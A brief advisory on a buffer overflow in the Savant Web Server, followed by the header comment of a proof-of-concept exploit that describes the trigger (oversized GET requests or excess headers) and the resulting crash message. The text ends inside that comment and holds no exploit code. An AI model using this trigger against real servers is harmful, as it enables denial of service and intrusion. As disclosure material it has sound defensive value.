A buffer overflow exists in the Savant Web Server. It is possible to exploit this overflow by sending an unusually long GET request to the server.


/* The MDMA Crew's proof-of-concept code for the buffer overflow in Savant
 * Written by Wizdumb <[email protected] || www.mdma.za.net/fk>
 *
 * The overflow occurs when the server recieves too many headers in the GET
 * request. The results of the attack look something like...
 *
 * SAVANT caused an invalid page fault
 * in module KERNEL32.DLL at 015f:bff87eb5.
